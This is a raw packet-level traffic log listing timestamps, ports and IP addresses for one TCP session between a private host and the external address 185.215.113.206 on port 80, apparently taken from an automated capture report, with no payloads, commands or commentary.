Nov 15, 2024 16:16:09.696779013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.696779966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.696818113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.696822882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.696850061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.696860075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.696886063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.696896076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.696927071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.696939945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.696974993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.696986914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697010994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697019100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697055101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697065115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697110891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697118998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697154045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697163105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697191000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697206974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697257042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697257996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697293997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697299957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697329998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697335958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697367907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697374105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697403908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697411060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697439909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697447062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697483063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697494030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697530985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697540045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697567940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697573900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697604895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697612047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697638035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697648048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697674036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697676897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697715998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697726011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697761059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697771072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697812080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697819948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697849035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697855949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697891951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.697902918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697938919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.697949886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698029995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698041916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698065996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698074102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698098898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698108912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698136091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698143005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698173046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698179007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698209047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698220015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698245049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698251963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698280096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698287010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698323011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698323965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698363066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698365927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698400974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698405981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698442936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698451996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698487997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698496103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698529005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698540926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698575974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698591948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698616982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698627949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698663950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698673010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698695898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698707104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698736906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698750019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698798895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698807001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698852062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698858023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698894024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698901892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698929071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698935986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.698970079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.698973894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699004889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699012995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699042082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699048042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699076891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699084997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699112892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699120045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699155092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699167013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699192047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699198008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699228048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699234009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699265003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699270010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699301004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699306965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699346066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699357986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699393034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699409962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699429035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699436903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699465990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699472904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699501991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699510098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699541092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699544907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699577093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699584007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699611902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699621916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699649096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699649096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699685097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699692011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699718952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699724913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699755907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699760914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699791908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699799061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699827909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699835062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699863911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699868917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699899912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699906111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699937105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699942112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.699971914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.699980021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700010061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700016022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700046062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700053930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700083017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700086117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700119019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700124025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700155973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700160027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700191021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700197935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700233936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700239897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700274944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700282097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700311899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700318098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700349092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700354099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700386047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700392008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700421095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700428009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700457096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700462103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700491905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700499058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700527906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700534105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700565100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700570107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700602055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700607061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700638056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700644016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700674057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700680017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700710058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700715065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700747013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700752020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700782061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700792074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700817108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700825930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700854063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700859070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700890064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700896978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700927973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700932026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700964928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.700969934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.700999975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.701005936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.701037884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.701042891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.701071978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.701078892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.701107979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.701113939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.701143026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.701148987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.701179981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.701185942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.701215982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.701221943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.701252937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.701257944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.701288939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.701294899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.701328039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.701332092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.701363087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.701371908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.701400042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.701406002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.701441050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.848556995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.848632097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.848674059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.848728895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.848766088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.848782063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.848782063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.848782063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.848820925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.848820925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.848825932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.848862886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.848877907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.848898888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.848915100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.848936081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.848949909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.848985910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.848989964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849037886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849044085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849075079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849087954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849109888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849126101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849144936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849158049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849191904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849199057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849235058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849242926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849271059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849282980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849319935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849324942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849364042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849378109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849405050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849421024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849456072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849472046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849490881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849503040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849525928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849540949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849562883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849574089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849597931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849610090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849634886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849649906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849668026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849678993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849704027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849713087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849739075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849755049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849773884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849781036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849809885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849823952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849852085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849854946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849898100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849905014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.849956036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.849956036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.850003004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.850008011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.850044966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.850059986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.850090027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.850099087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.850135088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.850151062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.850176096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.850184917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.850234032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.850240946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.850274086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.850291967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.850308895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.850327015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.850363016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.850378036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.850399017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.850404978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.850445986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.850454092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.850503922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.850507021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.850542068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.850558996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.850579023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.850594044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.850614071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.850621939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.850650072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.850662947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.850684881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.850699902 CET	49704	80	192.168.2.5	185.215.113.206
